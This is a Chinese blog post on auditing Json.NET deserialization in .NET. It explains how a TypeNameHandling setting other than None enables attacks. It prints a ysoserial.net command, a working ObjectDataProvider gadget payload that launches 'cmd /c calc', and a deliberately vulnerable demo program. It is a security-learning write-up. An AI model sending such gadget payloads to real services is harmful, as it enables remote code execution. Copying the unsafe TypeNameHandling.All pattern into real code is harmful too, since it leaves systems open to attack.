.Net审计之.Net Json反序列化
2021-09-16 19:17
1071 查看
.Net审计之.Net Json反序列化
前言
偶然下遇到一个.NET 下有意思的Json反序列化点,记录一下反序列化内容,直入主题。
.Net Json
常见序列化与反序列化
NET 中常见的数据格式以及序列化方法
官方文档:https://www.newtonsoft.com/json
序列化
namespace ConsoleApp1 { class Program { static void Main(string[] args) { Person person = new Person(); person.name = "nice0e3"; person.age = 22; string json = JsonConvert.SerializeObject(person); Console.WriteLine(json); Console.ReadLine(); } public class Person { public string name; public int age; static string i; } } } //结果:{"name":"nice0e3","age":22}
里面的i成员变量并没有被序列化进来,因为该成员变量是静态的,静态修饰的并不参与在实例化对象中,所以不会被序列化进来。
反序列化
string json = "{\"name\":\"nice0e3\",\"age\":22} "; object v = JsonConvert.DeserializeObject(json); Console.WriteLine(v); Console.ReadLine(); //结果: { "name": "nice0e3", "age": 22 }
反序列化攻击
JsonConvert.DeserializeObject第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中
TypeNameHandling可选择的成员分为五种
默认情况下
TypeNameHandling为None,表示Json.NET在反序列化期间不读取或写入类型名称。会使传递就去类名无法进行读取和写入,即不可触发漏洞。
只有当 TypeNameHandling 不为 None 时,传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。
设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞
ysoserial.net:https://github.com/pwntester/ysoserial.net
yso生成数据:
/ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
static void Main(string[] args) { string json = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}}"; Object js = JsonConvert.DeserializeObject(json, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); Console.WriteLine(js); Console.ReadKey();
参考
https://www.websecuritys.cn/archives/netxlh-1.html
https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/121
相关文章推荐
- "yyyy-MM-dd HH:mm:ss"格式日期字符串 json反序列化成LocalDateTime类型问题
- DotNet的JSON序列化与反序列化
- JSON序列化与反序列化
- springboot序列化数据存入redis时用json表示
- C#通用类:json转换为对象,对象序列化XML
- 在C#中,Json的序列化和反序列化的几种方式
- DataTable 的 JSON 序列化
- SpringMVC、Hibernate系列之级联对象的json序列化
- 解决.Net MVC EntityFramework Json 序列化循环引用问题.
- JavaScriptSerializer实现JSON 序列化和反序列化
- Django model序列化为json的方法示例
- Python序列化,json&pickle&shelve模块
- 序列化对象为JSON格式
- IOS开发(74)之把 Array 和 Dictionaries 序列化成 JSON 对象
- JSON 序列化与反序列化(一)使用TypeReference 构建 类型安全的异构容器
- Fastjson<=1.2.47反序列化漏洞复现
- ASP.NET中JSON的序列化和反序列化
- .net中JSON序列化Object指定属性两种方法
- JSON序列化与反序列化一个集合
- JsonUtil序列化、反序列化封装类